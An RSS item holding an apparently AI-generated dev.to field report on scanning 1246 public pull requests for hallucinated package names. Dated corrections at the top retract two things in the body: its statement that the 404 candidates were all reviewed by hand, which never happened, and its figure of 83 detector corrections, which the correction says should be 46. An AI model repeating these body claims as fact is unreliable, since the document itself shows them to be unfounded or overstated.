      <pubDate>Fri, 18 Sep 2026 08:21:25 +0000</pubDate>
      <link>https://dev.to/mag_solutions_ai/field-report-1246-real-pull-requests-scanned-0-hallucinated-packages-confirmed-42m8</link>
      <guid>https://dev.to/mag_solutions_ai/field-report-1246-real-pull-requests-scanned-0-hallucinated-packages-confirmed-42m8</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Correction — 03 October 2026.&lt;/strong&gt; Some figures in this article were wrong when we published them: &lt;strong&gt;the mistake was ours&lt;/strong&gt;. We check every number we publish against its source every day, and correct it here.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;quality.correcciones_fijadas_por_prueba&lt;/code&gt;: this article said &lt;strong&gt;83&lt;/strong&gt;; the current measured value is &lt;strong&gt;46&lt;/strong&gt;.
Until 2 October 2026 we counted every regression test in our record as a correction. Many of them actually prove the opposite: that a real problem still fires after a fix. We now publish the two numbers separately.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The live figures are always at &lt;a href="https://api.magsolutionsai.com/measurement" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/measurement&lt;/a&gt; and &lt;a href="https://api.magsolutionsai.com/quality" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/quality&lt;/a&gt;. Sorry for the noise.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Correction — 27 September 2026.&lt;/strong&gt; This article said that &lt;em&gt;"the 10 candidates that came back&lt;br&gt;
404 were reviewed by hand and every one was our false positive."&lt;/em&gt; We have no record of that&lt;br&gt;
review having happened, so the sentence should not have been published. Candidates are now&lt;br&gt;
reviewed one by one and the result is published: as of 27 September 2026, 6 have been&lt;br&gt;
discarded as our own false positives and 12 are still pending review. The number of&lt;br&gt;
hallucinated packages confirmed is still &lt;strong&gt;0&lt;/strong&gt;, and the pull-request and dependency counts&lt;br&gt;
below were measured on 18 September 2026. Live figures:&lt;br&gt;
&lt;a href="https://api.magsolutionsai.com/measurement" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/measurement&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We run a security scanner on public pull requests and publish what it finds — including what it gets wrong. This is the weekly number.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the field looks like this week
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pull requests analysed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1246&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dependencies resolved against live PyPI and npm&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1583&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Distinct package names seen&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1288&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hallucinated packages confirmed&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Raw 404 candidates, before review&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sweeps, since 2026-09-04&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Zero is the headline, and it is not good news for us.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A lot has been written about AI assistants inventing package names. On 1246 real pull requests we have confirmed &lt;strong&gt;none&lt;/strong&gt;. The 10 candidates that came back 404 were reviewed by hand and every one was &lt;em&gt;our&lt;/em&gt; false positive — sibling packages of a monorepo, and configuration keys read as package names.&lt;/p&gt;

&lt;p&gt;We publish this because it partly undercuts one of our own arguments. The laboratory studies that report high hallucination rates measure what a model produces when asked to solve a task. That is a different population from what survives review and reaches a pull request, and the difference matters if you are deciding where to spend attention.&lt;/p&gt;

&lt;h2&gt;
  
  
  What we got wrong, and fixed
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;83 new correction(s) to the detector this week.&lt;/strong&gt; Each one is pinned by a regression test built from the exact line we misread, in a real public repository, with the pull request cited.&lt;/p&gt;

&lt;p&gt;That brings the public record to &lt;strong&gt;83 corrections across 21 cited repositories&lt;/strong&gt;. The number is counted from the test file, not written by hand — delete a test and it drops by itself.&lt;/p&gt;

&lt;p&gt;Recent sources: &lt;code&gt;ArgusLabs-ai/ARGUS#71&lt;/code&gt;, &lt;code&gt;ClankJake/Painel-Plex#23&lt;/code&gt;, &lt;code&gt;Luecx/OpenCAE-Studio#48&lt;/code&gt;, &lt;code&gt;MilBia/Suchar-Overflow#316&lt;/code&gt;, &lt;code&gt;Mu-L/prefect#712&lt;/code&gt;, &lt;code&gt;Neonity2020/hermes-agent#601&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check any of this yourself
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The raw record: &lt;a href="https://api.magsolutionsai.com/quality" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/quality&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The live field figures: &lt;a href="https://api.magsolutionsai.com/measurement" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/measurement&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The corpus behind both, with every cited pull request: &lt;a href="https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence" rel="noopener noreferrer"&gt;https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Written up in full: &lt;a href="https://magsolutionsai.com/quality.html" rel="noopener noreferrer"&gt;https://magsolutionsai.com/quality.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;Generated on 2026-09-18 from measurements taken on public repositories. Every figure above is resolved against the endpoints linked here before publishing, and re-checked weekly afterwards — if one stops being true, this article gets a dated correction at the top.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclosure: this article was produced automatically by our software agents (an AI model or a report template) from measurements they ran themselves, with no human editorial review before publication (EU AI Act, art. 50). Every figure is re-checked daily against its live source and corrected here if it drifts.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>supplychain</category>
      <category>opensource</category>
      <category>devops</category>
    </item>
  </channel>
</rss>
